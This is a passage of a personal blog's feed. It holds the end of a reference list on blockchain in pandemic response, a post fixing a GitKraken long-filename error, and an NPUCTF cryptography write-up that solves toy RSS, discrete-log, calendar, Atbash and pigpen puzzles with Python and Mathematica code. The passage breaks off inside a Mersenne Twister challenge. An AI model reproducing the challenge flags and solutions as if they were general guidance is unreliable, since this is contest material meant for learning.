孟岩：区块链等数字科技在抗疫防疫中的应用-零壹财经[EB/OL][2020-04-28]. <a href="https://www.01caijing.com/article/257462.htm" target="_blank" rel="noopener">https://www.01caijing.com/article/257462.htm</a>.</li><li>张从志. 现场 | 湖北与武汉红会，物资捐赠卡在了这里？[EB/OL][2020-04-28]. <a href="http://mp.weixin.qq.com/s?__biz=MTc5MTU3NTYyMQ==&amp;mid=2650709935&amp;idx=1&amp;sn=ca649ff41f49968a4af1d1e6671a7fc2&amp;chksm=5afc8e856d8b07932c9e44716315137eeacb4a7f5557a68dfe44f6c309fa8d1d4e83426934c7#rd" target="_blank" rel="noopener">http://mp.weixin.qq.com/s?__biz=MTc5MTU3NTYyMQ==&amp;mid=2650709935&amp;idx=1&amp;sn=ca649ff41f49968a4af1d1e6671a7fc2&amp;chksm=5afc8e856d8b07932c9e44716315137eeacb4a7f5557a68dfe44f6c309fa8d1d4e83426934c7#rd</a>.</li><li>李旭东, 王耀球, 王芳. 突发公共卫生事件下基于区块链应用的应急物流完善研究[J]. 当代经济管理: 1–10.</li><li>后疫情时代区块链如何助力抗疫复工行业应用报告[EB/OL][2020-04-21]. <a href="https://www.chainnews.com/articles/369856873842.htm" target="_blank" rel="noopener">https://www.chainnews.com/articles/369856873842.htm</a>.</li><li>本报实习记者 于晗. 疫情中的区块链技术探索[N]. 中国银行保险报, 2020: 005.</li><li>疫情面前，集体“失声”的区块链[EB/OL][2020-04-14]. <a href="https://zhuanlan.zhihu.com/p/104644679" target="_blank" rel="noopener">https://zhuanlan.zhihu.com/p/104644679</a>.</li><li>区块链与疫情：“免疫护照”与比特币矿工如何为减半做准备[EB/OL][2020-04-14]. <a href="https://baijiahao.baidu.com/s?id=1663931139780467553&amp;wfr=spider&amp;for=pc" target="_blank" rel="noopener">https://baijiahao.baidu.com/s?id=1663931139780467553&amp;wfr=spider&amp;for=pc</a>.</li><li>丁宣尹 东南大学人民法院司法大数据研究基地研究人员. 打造疫情防控中个人信息的“四位一体”保护体系[N]. 民主与法制时报, 2020: 002.</li><li>基于疫情的区块链思考_区块链_Rcvisual的博客-CSDN博客[EB/OL][2020-04-14]. <a href="https://blog.csdn.net/Rcvisual/article/details/104243894/" target="_blank" rel="noopener">https://blog.csdn.net/Rcvisual/article/details/104243894/</a>.</li><li>费晓蕾. 区块链破局供应链金融？[J]. 华东科技, 2020(04): 40–43.</li><li>四川省成都市市场监管局局长 贺欣. 克服疫情影响 助力新经济高质量发展[N]. 中国市场监管报, 2020: 007.</li><li>疫情下的区块链机遇大还是挑战大 - 区块链 - 电子发烧友网[EB/OL][2020-04-14]. <a href="http://www.elecfans.com/blockchain/1179905.html" target="_blank" rel="noopener">http://www.elecfans.com/blockchain/1179905.html</a>.</li></ol>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;[摘 要] 区块链技术在1024讲话后，得到正名和政策的支持引导，并逐步落地，进入到强调赋能产业的3.0阶段。文章聚焦于区块链在疫情中为何与如何被给予希望，以及实际上并没有出色完成任务背后的技术限制和中国区块链技术成熟度问题。之后会剖析区块链无可替代的核心价值——可信互联网的基础设施、国家中心化与去中心化的中庸之道。并对区块链在后疫情时期发挥的作用和疫情之后的未来进行展望。&lt;/p&gt;
&lt;p&gt;[关键词]  区块链技术；疫情；核心价值；可信；去中心化；应用落地&lt;/p&gt;
    
    </summary>
    
    
      <category term="Development" scheme="https://zer0-nu1l.github.io/categories/Development/"/>
    
      <category term="View" scheme="https://zer0-nu1l.github.io/categories/Development/View/"/>
    
    
      <category term="Blockchain" scheme="https://zer0-nu1l.github.io/tags/Blockchain/"/>
    
  </entry>
  
  <entry>
    <title>【GitKraken】 Could not find a compatible repository</title>
    <link href="https://zer0-nu1l.github.io/2020/05/01/GitKraken%20Error/"/>
    <id>https://zer0-nu1l.github.io/2020/05/01/GitKraken%20Error/</id>
    <published>2020-04-30T16:00:00.000Z</published>
    <updated>2020-12-18T13:50:33.146Z</updated>
    
    <content type="html"><![CDATA[<h1>情况说明</h1><p>有一天我用 GitKragen 打开我常用的仓库 Note，但发现有这样的报错：</p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200501230732304.png" alt="image-20200501230732304" style="zoom:67%;"><p>之后用 GitKragen 始终打不开仓库 Notes 仓库。</p><blockquote><p>本文分析了可能出现此情况的所有可能，提出解决这个问题的方法，以及使用 GitKragen 的经验教训。</p></blockquote><a id="more"></a><h1>原因分析</h1><p>在 <a href="https://support.gitkraken.com/faq/" target="_blank" rel="noopener">https://support.gitkraken.com/faq/</a> 有专门这样一条：</p><p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image001-1588345641404.png" alt></p><p>翻译解释如下:</p><ol><li>当前的仓库被其他工具占用了，先把这些工具解除对仓库的占用，再尝试用 GitKragen 打开。</li><li>尝试将仓库未解决的更改 stash ，或者提交，或者切换分支，再尝试用     GitKragen 打开。</li><li>坑你是某个文件的完整路径过长，GitKragen 支持的最大的文件路径是 260 个字符。</li></ol><h1>尝试与解决</h1><p>根据我当前的情况，第一个情况不可能，开始尝试第二个，同时在处理第二个的过程中注意第三个。<br>因为很可能是最近添加了路径过长的文件导致，在解决新的更改的时候可能发现那个文件。</p><p>最开始并没有发现可特别疑的文件，顺利地把所有的文件提交了上去。之后发现 GitKragen 还是打不开仓库（排除了第二种情况）。</p><p>尝试对最近看起来文件路径还是蛮长的文件进行了路径长度统计，但基本都不超过 150。<br>所以实在太奇怪了……（第三种情况也要排除了？）😵</p><p>然而，在观察 Git History 的时候发现了神奇的事情：⭐️<img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image002.png" alt>发现之前提交了这个文件名巨长无比的文件？？<br>赶紧测试了一下：<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/clip_image003.png" alt></p><p>逼近 260，有很大可能，然后发现这个文件原来的名称是“常用的输入字符的上标、下标、脚标.txt”<br>顿时懂了，这个含中文字符的文件名在 git 里面中文字符被 <code>\xxx</code> 来编码代替，而所谓的“文件路径是 260 个字符”是没有对 <code>\xxx</code> 解码的情况下测定的长度。<br>更改文件名，之后，GitKragen 果然恢复正常了…… 😄</p><h1>经验教训</h1><ol><li>了解可能导致 GitKragen 打不开仓库的情况。</li><li>在 Git 仓库里面<ol><li>尽量不要让文件的层次太深（本案例没有太大这样的问题）</li><li>文件命名在没有特殊需求的情况下使用英文字符（中文字符对 GitKragen 的字符长度规则里是 ×4 的，容易超过它的上限 260）</li></ol></li></ol><blockquote><p>希望本文对也喜爱 GitKraken 的同仁能有点启示。</p></blockquote>]]></content>
    
    <summary type="html">
    
      &lt;h1&gt;情况说明&lt;/h1&gt;
&lt;p&gt;有一天我用 GitKragen 打开我常用的仓库 Note，但发现有这样的报错：&lt;/p&gt;
&lt;img src=&quot;https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200501230732304.png&quot; alt=&quot;image-20200501230732304&quot; style=&quot;zoom:67%;&quot;&gt;
&lt;p&gt;之后用 GitKragen 始终打不开仓库 Notes 仓库。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;本文分析了可能出现此情况的所有可能，提出解决这个问题的方法，以及使用 GitKragen 的经验教训。&lt;/p&gt;
&lt;/blockquote&gt;
    
    </summary>
    
    
      <category term="Development" scheme="https://zer0-nu1l.github.io/categories/Development/"/>
    
      <category term="Git" scheme="https://zer0-nu1l.github.io/categories/Development/Git/"/>
    
    
      <category term="GitKraken" scheme="https://zer0-nu1l.github.io/tags/GitKraken/"/>
    
      <category term="Error" scheme="https://zer0-nu1l.github.io/tags/Error/"/>
    
  </entry>
  
  <entry>
    <title>NPUCTF Write Up</title>
    <link href="https://zer0-nu1l.github.io/2020/04/21/NPUCTF-Writeup/"/>
    <id>https://zer0-nu1l.github.io/2020/04/21/NPUCTF-Writeup/</id>
    <published>2020-04-21T03:27:59.000Z</published>
    <updated>2020-12-18T14:14:42.611Z</updated>
    
    <content type="html"><![CDATA[<p>周末的时候做了 NPUCTF  Crypto 部分的题目，题目有些一言难尽，但还是有很多收获，写了点 Write up。</p><a id="more"></a><h1>认清形势，建立信心</h1><p>附件: <strong><a href="http://task.py" target="_blank" rel="noopener">task.py</a></strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> gmpy2 <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> secret <span class="keyword">import</span> flag</span><br><span class="line"></span><br><span class="line">p = getPrime(<span class="number">25</span>)</span><br><span class="line">e = <span class="comment"># Hidden</span></span><br><span class="line">q = getPrime(<span class="number">25</span>)</span><br><span class="line">n = p * q </span><br><span class="line">m = bytes_to_long(flag.strip(<span class="string">b"npuctf&#123;"</span>).strip(<span class="string">b"&#125;"</span>))</span><br><span class="line"></span><br><span class="line">c = pow(m, e, n)</span><br><span class="line">print(c)</span><br><span class="line">print(pow(<span class="number">2</span>, e, n))</span><br><span class="line">print(pow(<span class="number">4</span>, e, n))</span><br><span class="line">print(pow(<span class="number">8</span>, e, n))</span><br><span class="line"></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">169169912654178</span></span><br><span class="line"><span class="string">128509160179202</span></span><br><span class="line"><span class="string">518818742414340</span></span><br><span class="line"><span class="string">358553002064450</span></span><br><span class="line"><span class="string">'''</span></span><br></pre></td></tr></table></figure><h2 id="分析与解">分析与解</h2><p>考点：简单数论、DLP</p><h3 id="分析">分析</h3><p>$$<br>c = m^e \pmod n<br>\\<br>c_1 = 2^e \pmod n<br>\\<br>c_2 = 4^e \pmod n<br>\\<br>c_3 = 8^e \pmod n<br>\\<br>\text{其中，} c, c_1, c_2, c_3 是已知的，其余的均未知。<br>$$</p><blockquote><p>未知参数过少，正是麻烦所在。</p><p>基本思路是分别求出 <code>n</code>, <code>e</code>，之后就可以对 <code>c </code> 进行解密</p></blockquote><h3 id="解析">解析</h3><h4 id="1-参数-n">1. 参数 <code>n</code></h4><p>$2, 4, 8$, 可以看成 $2^1, 2^2, 2^3$，故 $c_1, c_2, c_3$ 存在如下关系：<br>$$<br>c_1^2 = c_2 \pmod n<br>\\<br>c_1^3 = c_3 \pmod n<br>\\<br>\therefore n , | , gcd(c_1^2 - c_2, c_1^3 - c_3)<br>$$<br>所以可以得到 $n$</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> gmpy2</span><br><span class="line">c1 = <span class="number">128509160179202</span></span><br><span class="line">c2 = <span class="number">518818742414340</span></span><br><span class="line">c3 = <span class="number">358553002064450</span></span><br><span class="line">gcd = gmpy2.gcd(c1**<span class="number">2</span>-c2, c1**<span class="number">3</span>-c3)</span><br></pre></td></tr></table></figure><p>得到：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">gcd = <span class="number">2</span> * <span class="number">18195301</span> * <span class="number">28977097</span></span><br><span class="line"><span class="comment"># 猜测&amp;尝试</span></span><br><span class="line">n = <span class="number">18195301</span> * <span class="number">28977097</span></span><br></pre></td></tr></table></figure><h4 id="2-参数-e">2. 参数 <code>e</code></h4><p>$$<br>c=2^e \pmod {18195301 * 28977097}<br>$$</p><p>这是典型的 DLP（Discrete Logarithm Problem，离散对数问题）</p><h4 id="3-Wolfram-爆破">3. Wolfram 爆破</h4><p>可以用 Wolfram：（应该是用纯暴力枚举的方法，虽然底层是 C 语言，但之前二次剩余跑了十七个小时也没跑出来 🤧）</p><figure class="highlight mathematica"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">Simplify</span>[</span><br><span class="line"><span class="keyword">Reduce</span>[</span><br><span class="line">  c == <span class="keyword">Mod</span>[<span class="number">2</span>^k, p] /. &#123;c -&gt; <span class="number">128509160179202</span>, p -&gt; <span class="number">527247002021197</span>&#125;, k,<span class="keyword">Integers</span>]</span><br><span class="line">]</span><br></pre></td></tr></table></figure><p>得到结果：</p><figure class="highlight mathematica"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">C[<span class="number">1</span>] \[<span class="keyword">Element</span>] <span class="keyword">Integers</span> &amp;&amp; C[<span class="number">1</span>] &gt;= <span class="number">0</span> &amp;&amp; k == <span class="number">808723997</span> + <span class="number">4393724623740</span> C[<span class="number">1</span>]</span><br></pre></td></tr></table></figure><p>得到 <code>e=808723997</code>，并在终端进行简单验证：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">assert</span> pow(<span class="number">2</span>, <span class="number">808723997</span>, n) == c1</span><br></pre></td></tr></table></figure><h4 id="4-常规解密">4. 常规解密</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="comment"># Python2.7</span></span><br><span class="line"><span class="comment"># Author: ZER0-Nu1L</span></span><br><span class="line"><span class="keyword">import</span> gmpy2</span><br><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line">c = <span class="number">169169912654178</span></span><br><span class="line">e = <span class="number">808723997</span></span><br><span class="line">p = <span class="number">18195301</span></span><br><span class="line">q = <span class="number">28977097</span></span><br><span class="line">n = q * p</span><br><span class="line">phi = (p<span class="number">-1</span>)*(q<span class="number">-1</span>)</span><br><span class="line">d = gmpy2.invert(e, phi)</span><br><span class="line">m = long_to_bytes(pow(c, d, n))</span><br><span class="line"><span class="keyword">print</span> m</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npuctf&#123;345y&#125;</span><br></pre></td></tr></table></figure><h4 id="3-另解-BSGS-算法">3. 另解 BSGS 算法</h4><p>在第三步爆破的时候，可以用 BSGS 算法。</p><blockquote><p>BSGS（Baby Step Giant Step） 虽然不是 DLP 算法中 时间空间复杂度最低的算法，但相对于 Pollard’s $\rho$ 算法（当前认为最优的算法）实现起来容易很多，时间复杂度（$O(\sqrt n)$）相同，所以无论是 ICPC 还是 CTF 都是最优的选择之一。</p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200503084544248.png" alt="image-20200503084544248" style="zoom: 50%;"></blockquote><p>C 语言需要调大整数库，实现起来稍微比较麻烦。<br>Python 的 BSGS 板子（没有优化）：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">bsgs</span><span class="params">(g, a, p)</span>:</span></span><br><span class="line">    <span class="comment"># To solve g^e mod p = a and find e</span></span><br><span class="line">    <span class="comment"># define x = j*m + i</span></span><br><span class="line">    res = []</span><br><span class="line">    m = int(ceil(sqrt(p<span class="number">-1</span>)))</span><br><span class="line">    <span class="comment"># Baby Step</span></span><br><span class="line">    lookup_table = &#123;pow(g, i, p): i <span class="keyword">for</span> i <span class="keyword">in</span> range(m)&#125;</span><br><span class="line">    <span class="comment"># Giant Step Precomputation c = g^(-m) mod p</span></span><br><span class="line">    c = pow(g, m*(p<span class="number">-2</span>), p)</span><br><span class="line">    <span class="comment"># Giant Step</span></span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> range(m):</span><br><span class="line">        x = (a*pow(c, j, p)) % p</span><br><span class="line">        <span class="keyword">if</span> x <span class="keyword">in</span> lookup_table:</span><br><span class="line">res.append( j*m + lookup_table[x])</span><br><span class="line">    <span class="keyword">return</span> res</span><br></pre></td></tr></table></figure><p>先把原式子做如下推导<br>$$<br>c=2^e \pmod { 18195301 * 28977097 } \Rightarrow<br>\begin{cases}<br>c=2^{e_1} \pmod { 18195301 }<br>\\<br>c=2^{e_2} \pmod { 28977097 }<br>\end{cases}<br>\<br>c \in Z_{ 18195301 }^{\star} ; and ; c \in Z_{ 28977097 }^{\star}<br>\<br>\<br>\therefore \exist ,e’ \in Z_{min{ 28977097, 18195301 }} ;<br>\<br>s.t.<br>\begin{cases}<br>2^{e’} = 2^{e_1} \pmod { 18195301 }<br>\\<br>2^{e’} = 2^{e_2} \pmod { 28977097 }<br>\end{cases}<br>\<br>\Rightarrow<br>\begin{cases}<br>{e’} = e_1 \pmod {\phi{ (18195301) }}<br>\\<br>{e’} = e_2 \pmod {\phi{ (28977097) }}<br>\end{cases}<br>$$</p><p>分别用 BSGS 算法求出指数 $e1$, $e2$，然后用中国剩余定理求出 $e’$（下面是 <a href="https://0xdktb.top/2020/04/19/WriteUp-NPUCTF-Crypto/" target="_blank" rel="noopener">0xDktb 师傅的代码</a>+注释）</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"><span class="comment"># BSGS</span></span><br><span class="line">p = <span class="number">18195301</span></span><br><span class="line">q = <span class="number">28977097</span></span><br><span class="line">c1_p, c1_q = c1 % p, c1 % q</span><br><span class="line">e_1, e_2 = bsgs(<span class="number">2</span>, c1_p, p), bsgs(<span class="number">2</span>, c1_q, q)</span><br><span class="line"><span class="comment"># crt -&gt; e'</span></span><br><span class="line">phi = (p - <span class="number">1</span>) * (q - <span class="number">1</span>)</span><br><span class="line">e_n = [] <span class="comment"># e % n</span></span><br><span class="line"><span class="keyword">for</span> e_p <span class="keyword">in</span> e_1:</span><br><span class="line">    <span class="keyword">for</span> e_q <span class="keyword">in</span> e_2:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            e_n.append(crt([e_p, e_q], [p - <span class="number">1</span>, q - <span class="number">1</span>])) <span class="comment"># e % phi</span></span><br><span class="line">        <span class="keyword">except</span>:</span><br><span class="line">            <span class="keyword">pass</span></span><br><span class="line"><span class="comment"># crt add more</span></span><br><span class="line">more_e_n = []</span><br><span class="line"><span class="keyword">for</span> e <span class="keyword">in</span> e_n:</span><br><span class="line">    i = (n - e) // phi</span><br><span class="line">    more_e_n += [e + j * phi <span class="keyword">for</span> j <span class="keyword">in</span> range(<span class="number">1</span>, i + <span class="number">1</span>)]</span><br><span class="line">e_n += more_e_n</span><br><span class="line"><span class="comment"># d</span></span><br><span class="line">d_n = [inverse(e, phi) <span class="keyword">for</span> e <span class="keyword">in</span> e_n]</span><br><span class="line"><span class="comment"># decrypt</span></span><br><span class="line">m_n = set()</span><br><span class="line">c = <span class="number">169169912654178</span></span><br><span class="line"><span class="keyword">for</span> d <span class="keyword">in</span> d_n:</span><br><span class="line">    m_n.add(pow(c, d, n))</span><br><span class="line">m_n = list(m_n)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> m <span class="keyword">in</span> m_n:</span><br><span class="line">    print(<span class="string">b'npuctf&#123;'</span> + long_to_bytes(m) + <span class="string">b'&#125;'</span>)</span><br></pre></td></tr></table></figure><hr><h1>这是什么觅🐎</h1><p>附件: zip</p><p>解压之后得到图片<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200421115433262.png" alt="image-20200421115433262" style="zoom:50%;"></p><h2 id="分析与解-v2">分析与解</h2><h3 id="第一印象">第一印象</h3><p>密文：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">F1 W1 S22 S21 T12 S11 W1 S13</span><br></pre></td></tr></table></figure><p>容易想到字母对应星期x 的英文首字母：<br>Monday - M, Tuesday - T1, Wednesday - W, Thursday - T2，Friday - F， Saturday - S1， Sunday - S2<br>紧接着的数字是行号相关的，所以猜测：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">F1 W1 S22 S21 T12 S11 W1 S13</span><br><span class="line">3 1 12 5 14 4 8 18</span><br><span class="line">3 8 12 5 14 4 8 18</span><br><span class="line">flag&#123;31125144118&#125;</span><br><span class="line">flag&#123;0308120514040818&#125;</span><br><span class="line">p.s. 失败</span><br></pre></td></tr></table></figure><h3 id="细节补充">细节补充</h3><p>还有两个细节：</p><ol><li><code>1</code> 被差掉了</li><li>数字 2 - 8 有圈</li></ol><h4 id="细节一">细节一</h4><p>猜测：1 -&gt; <code>$</code>。即 所有 1  都替换成 <code>$</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">flag&#123;3$$25$44$$8&#125;</span><br><span class="line">p.s. 失败</span><br></pre></td></tr></table></figure><p>猜测：日历上的1跳过，即 W1 表示 8</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">flag&#123;38125144818&#125;</span><br><span class="line">p.s. 失败</span><br></pre></td></tr></table></figure><h4 id="细节二">细节二</h4><p>是否暗示 flag 所有的字符集都是在 2-8 之间呢？那 <code>F</code> 等之后的数字不意味着行，而意味着向后走 n 位。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">F1 W1 S22 S21 T12 S11 W1 S13</span><br><span class="line">3   1   6   5   8   4   1   6</span><br><span class="line">flag&#123;31658416&#125;</span><br></pre></td></tr></table></figure><p>这个猜想最大的问题在于 <code>S22</code> = <code>S13</code> ，不是唯一标识。<br>结合细节一和细节二：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">31658416 # 结合红圈，移位</span><br><span class="line">3$6584$6 # 结合红圈，移位 + 1 -&gt; $</span><br><span class="line">38658486 # 结合红圈，移位 + 1 -&gt; 8</span><br></pre></td></tr></table></figure><p>均失败…… 😭😭😭</p><h3 id="正解">正解</h3><p>实际上，在第一步得到数字之和，转成字母就是 flag 😲</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">F1 W1 S22 S21 T12 S11 W1 S13</span><br><span class="line">3 1 12 5 14 4 8 18</span><br><span class="line">c   a   l   e   n   d   h   r</span><br><span class="line">flag&#123;calendhr&#125;</span><br></pre></td></tr></table></figure><h2 id="陷入沉思">陷入沉思</h2><p>果然是我想多了吗？？<br>可能是这方面的题目没怎么研究过😭</p><h1>Classical_Cipher</h1><p>附件：<strong>flag.zip</strong><br><strong>key.txt</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">压缩包密码：gsv_pvb_rh_zgyzhs</span><br><span class="line">对应明文：   ***_key_**_******</span><br></pre></td></tr></table></figure><h2 id="压缩包密码">压缩包密码</h2><p>容易发现，已知明文中 <code>pvb</code> 和 <code>key</code> 存在互补关系（<code>ord(c) + ord(m) - 2*ord('a') % 25 == 0</code>）（atbash 密码的典型特征）<br>写个简单脚本处理一下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">cipher= <span class="string">"gsvpvbrhzgyzhs"</span></span><br><span class="line">msglst = []</span><br><span class="line"><span class="keyword">for</span> c <span class="keyword">in</span> cipher:</span><br><span class="line">msglst.append(chr(<span class="number">25</span> - (ord(c)-ord(<span class="string">'a'</span>)) + ord(<span class="string">'a'</span>)))</span><br><span class="line">message = <span class="string">""</span>.join(msglst)</span><br><span class="line">print(message)</span><br></pre></td></tr></table></figure><p>得到压缩包密码：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">the_key_is_atbash</span><br></pre></td></tr></table></figure><h2 id="图案密码">图案密码</h2><p>经过解压后得到图片：<br>解压之后得到图片 flag.png<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/image-20200421122027883.png" alt="image-20200421122027883" style="zoom:67%;"></p><p>可以看到猪圈密码和四个陌生的符号</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">j ? ? p p l j ? ? j ? ? k</span><br></pre></td></tr></table></figure><p>那四个陌生的符号可能是图标含义英文的首字母。<br>后来看 WP 的时候才知道是古埃及象形文字……（为什么破解古典密码的人这么多 😭，我……）</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">j l w p p l j w l j o d k</span><br><span class="line">flag&#123;jlwppljwljodk&#125;</span><br><span class="line"># 不知道是不是这个格式</span><br></pre></td></tr></table></figure><h1>Mersenne_twister</h1><p>附件1：cipher.txt</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cef4876036ee8b55aa59bca043725bf350a5e491debdef7ef7d63e9609a288ca1e2c82a7fe566bd8709e73c8d495ea504a486ed11189faf8e6fb35617e47d2d1ad5e4783e96afeaae9f7104ec477fb39fe4ec619bf58289709e15c4449f03fc51cba918cd0ebfdc12376b41e7815406482733b3b200826b6c78d86563edaea94dccf459a4291517a4b8367d7b4a53aeecd7e0accf661bfc726f5ba62e1c0e04100108ad32e7d5711f780185cba5cf31d328bee84066be4ab9582cf9d4bfe3c6f96a7732e1c37d800c90fd46277147f0a26c149dcd5eeb0f2df0c075627bc220be5eefdd67186056ac28c21e155a7f247664aaecdb498134de274df10114d1f06f84dd21820f150d69c9439d909dec0f5ccfeab61b62db2ea91d31bc8163ff16c7f458006bd5ac4a5f5bfae2770b23ccfb7195b76aa0a9aa146831667a7b9fe08c19e691afadccb3ca5169ef3fabaa3dad47d536e89ed4cee6f788bc969c3ad3137850ebfc46a73af2b0c036c3da4b4a16506f499445c604dd73eeb846a52f881515a3ad0ab448b4f9ed3e0ab1fffac60b223dde6450ba6198e90e14de107aaf2</span><br></pre></td></tr></table></figure><p>附件2：Mersenne_twister.py</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span 